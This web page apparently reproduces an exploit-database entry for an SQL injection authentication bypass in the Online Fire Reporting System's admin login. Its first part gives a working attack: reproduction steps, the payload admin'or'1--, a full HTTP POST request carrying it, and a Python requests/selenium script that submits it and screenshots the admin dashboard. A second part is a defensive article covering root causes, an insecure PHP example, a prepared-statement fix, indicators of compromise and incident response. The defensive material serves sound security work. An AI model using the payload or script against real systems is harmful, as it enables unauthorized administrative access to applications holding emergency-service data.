Online Fire Reporting System OFRS - SQL Injection Authentication Bypass

Exploit Author: Diyar Saadi Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-04-13
# Exploit Title: Online Fire Reporting System SQL Injection Authentication Bypass
# Date: 02/10/2024
# Exploit Author: Diyar Saadi
# Vendor Homepage: https://phpgurukul.com/online-fire-reporting-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/projects/Online-Fire-Reporting-System-using-PHP.zip
# Version: V 1.2
# Tested on: Windows 11 + XAMPP 8.0.30

## Exploit Description ##

SQL Injection Vulnerability in ofrs/admin/index.php :
The SQL injection vulnerability in the ofrs/admin/index.php script arises from insecure handling of user input during the login process.

## Steps to reproduce ##

1- Open the admin panel page by following URL : http://localhost/ofrs/admin/index.php
2- Enter the following payload from username-box : admin'or'1--
3- Press Login button or press Enter .

## Proof Of Concept [1] ##

POST /ofrs/admin/index.php HTTP/1.1
Host: localhost
Content-Length: 46
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ofrs/admin/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmnj70mh1qo2ssv80mlsv50o29
Connection: close

username=admin%27or%27--&inputpwd=&login=login

## Proof Of Concept [ Python Based Script ] [2] ##

import os
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import pyautogui


banner = """








░█████╗░███████╗██████╗░░██████╗  ░█████╗░███╗░░░███╗░██████╗
██╔══██╗██╔════╝██╔══██╗██╔════╝  ██╔══██╗████╗░████║██╔════╝
██║░░██║█████╗░░██████╔╝╚█████╗░  ██║░░╚═╝██╔████╔██║╚█████╗░
██║░░██║██╔══╝░░██╔══██╗░╚═══██╗  ██║░░██╗██║╚██╔╝██║░╚═══██╗
╚█████╔╝██║░░░░░██║░░██║██████╔╝  ╚█████╔╝██║░╚═╝░██║██████╔╝
░╚════╝░╚═╝░░░░░╚═╝░░╚═╝╚═════╝░  ░╚════╝░╚═╝░░░░░╚═╝╚═════╝░
# Code By : Diyar Saadi







                                                                        """

print(banner)

payload_requests = input("Enter the payload: ")

url_requests = "http://localhost/ofrs/admin/index.php"
data = {
    'username': payload_requests,
    'password': 'password',
    'login': 'Login'
}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Custom-Header': 'Your-Custom-Value'
}

try:
    response = requests.post(url_requests, data=data, headers=headers, allow_redirects=False)

    if response.status_code == 302 and response.headers.get('Location') and 'dashboard.php' in response.headers['Location']:
        print("Requests version: Admin Panel Successfully Bypassed !")

        url_selenium = "http://localhost/ofrs/admin/index.php"

        chrome_driver_path = "C:\\Windows\\webdriver\\chromedriver.exe"

        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("executable_path=" + chrome_driver_path)

        driver = webdriver.Chrome(options=chrome_options)
        driver.get(url_selenium)

        pyautogui.typewrite(payload_requests)
        pyautogui.press('tab') 
        pyautogui.typewrite(payload_requests)

        pyautogui.press('enter')

        WebDriverWait(driver, 10).until(EC.url_contains("dashboard.php"))

        screenshot_path = os.path.join(os.getcwd(), "dashboard_screenshot.png")
        driver.save_screenshot(screenshot_path)
        print(f"Selenium version: Screenshot saved as {screenshot_path}")

        driver.quit()

    else:
        print("Requests version: Login failed.")
except Exception as e:
    print(f"An error occurred: {e}")


Online Fire Reporting System (OFRS) — SQL Injection Leading to Authentication Bypass

This article analyzes a common vulnerability class — SQL injection — as it relates to authentication bypasses in web applications such as the Online Fire Reporting System (OFRS). It explains how the flaw arises, why it is dangerous, how to detect it responsibly, and, most importantly, how to fix and harden login code and the surrounding infrastructure.

Scope and purpose

The goal is defensive: help developers, administrators, and security reviewers understand the vulnerability model and implement robust mitigations. This material assumes you are testing or securing systems you own or have explicit permission to audit.

What is an SQL injection authentication bypass?

SQL injection occurs when untrusted input is embedded directly into an SQL statement in a way that allows an attacker to change the intended logic. In an authentication context, this can let an attacker manipulate the query that validates credentials so the condition always evaluates true, granting access without valid credentials. The result is unauthorized administrative or user access.

Typical root causes

  • Unparameterized SQL queries that concatenate user input into statements.
  • Absence of input validation and improper escaping of special characters.
  • Plaintext or poorly hashed passwords stored in the database.
  • Excessive database privileges for the application account.

Why this is critical

An authentication bypass at an administrative login grants an attacker full control over the application’s privileged interface. Consequences include data theft, unauthorized changes, pivoting to other systems, and persistent backdoors. For applications managing emergency services data, integrity and availability are particularly important.

Safe detection and testing

Only perform security testing on systems you own or for which you have written permission. Use non-destructive testing techniques and maintain a testing plan and backup/rollback mechanisms.

  • Review source code for direct concatenation of user input into SQL statements.
  • Run static analysis tools and linters that flag non-parameterized queries.
  • Use dynamic application security testing (DAST) tools in a controlled environment—preferably staging—so production availability and data integrity are not impacted.
  • Monitor logs for anomalous authentication attempts, sudden session creations, or login activity from unusual IPs.

Secure coding: how to fix login handling in PHP

The strongest defenses combine parameterized queries (prepared statements), proper password hashing, input validation, least-privilege database accounts, and logging. Below are examples showing an insecure pattern and a secure replacement.

Example: insecure query pattern (for illustration only)

<?php
// Illustration of an insecure pattern: avoid this in production.
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

// Direct string concatenation into SQL is vulnerable to injection.
$sql = "SELECT id, password_hash FROM admins WHERE username = '" . $username . "'";
$result = $db->query($sql);
?>

Explanation: This code concatenates raw input into an SQL string. An attacker can manipulate the username to change the query logic. Do not use this pattern.

Secure implementation using PDO and password hashing

<?php
// Secure login example using PDO prepared statements and password_verify
// 1) Use environment variables or a secure config file for DB credentials.
// 2) Ensure PDO is configured to throw exceptions and use proper charset.

$dsn = 'mysql:host=127.0.0.1;dbname=ofrs;charset=utf8mb4';
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false, // use native prepares
];

$pdo = new PDO($dsn, $dbUser, $dbPass, $options);

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

// Basic validation: reasonable length checks, allowlist characters where appropriate.
if (strlen($username) > 100 || strlen($password) > 256) {
    // handle validation failure
    exit('Invalid input');
}

// Parameterized query prevents injection by separating code from data.
$stmt = $pdo->prepare('SELECT id, password_hash FROM admins WHERE username = :username LIMIT 1');
$stmt->execute([':username' => $username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user && password_verify($password, $user['password_hash'])) {
    // Regenerate session id on login, set secure session flags, then set auth state
    session_regenerate_id(true);
    $_SESSION['admin_id'] = $user['id'];
    // Redirect to dashboard or return success
} else {
    // Log failed attempt, implement rate-limiting/lockout policy
}
?>

Explanation: This code uses PDO prepared statements to bind the username parameter; the database treats bound values strictly as data. Passwords are stored and validated using password_hash / password_verify, preventing plaintext password storage. Input validation, session regeneration, and error handling are included to harden the flow.

Additional hardening and best practices

  • Use password_hash() with the default algorithm (currently bcrypt/argon2 depending on PHP) and password_verify() to validate passwords.
  • Least-privilege DB accounts: the application account should only have the minimal privileges required (SELECT/INSERT/UPDATE on specific tables); avoid granting DROP, ALTER, or superuser rights.
  • Input validation and canonicalization: apply allowlists and length limits to user inputs, and normalize data before processing.
  • Use web application firewalls (WAFs): a well-configured WAF can provide an additional barrier, though it should not replace secure code.
  • Rate limiting and account lockout: mitigate brute-force and automated attacks by limiting login attempts per account and IP.
  • Logging and monitoring: log authentication failures, anomalous activity, and administrative actions. Alert on unusual patterns and integrate with SIEM.
  • Secure session management: set HttpOnly and Secure flags on cookies, use SameSite attributes, and regenerate session IDs after privilege changes.
  • Use parameterized queries everywhere: not just for login; all SQL that takes external input should use prepared statements or ORM parameter binding.
  • Regular dependency and platform updates: keep database and PHP versions patched, and review third-party components for vulnerabilities.

Detection of exploitation attempts and indicators of compromise (IoCs)

  • Successful administrative session creation without corresponding normal authentication activity.
  • Multiple distinct usernames from a single IP or bursts of login attempts with unusual payload patterns.
  • Unexpected schema changes or new accounts created in administrative tables.
  • Post-login activity by an account that never had that privilege or access patterns inconsistent with normal operations.

Incident response and remediation checklist

StepAction
ContainRestrict access, rotate application and DB credentials if a compromise is suspected, take affected services offline if necessary
PreserveCollect logs, database snapshots, and other evidence for analysis and to support remediation planning
EradicatePatch vulnerable code, apply secure configuration changes, remove backdoors and unauthorized accounts
RecoverRebuild servers from known-good images, restore data from backups if integrity is in doubt, monitor closely after restore
LearnPerform a post-incident review, improve code reviews, add automated tests for injection and authentication checks

Secure testing and continuous assurance

Implement security into the development lifecycle: code reviews focused on injection vectors, automated static analysis, and unit tests that assert prepared statements are used. Maintain a staging environment where deeper dynamic testing can be performed safely before any changes reach production.

Summary checklist for developers and administrators

  • Replace any string-concatenated queries with parameterized/prepared statements.
  • Use strong password hashing (password_hash / password_verify).
  • Limit database privileges and follow least privilege.
  • Enable logging, alerting, and rate limiting for authentication endpoints.
  • Test and review code for injection risks and maintain secure development practices.

Further reading

Refer to authoritative secure coding and OWASP guidance when implementing fixes. Always perform remediation and testing in controlled environments and with proper authorization.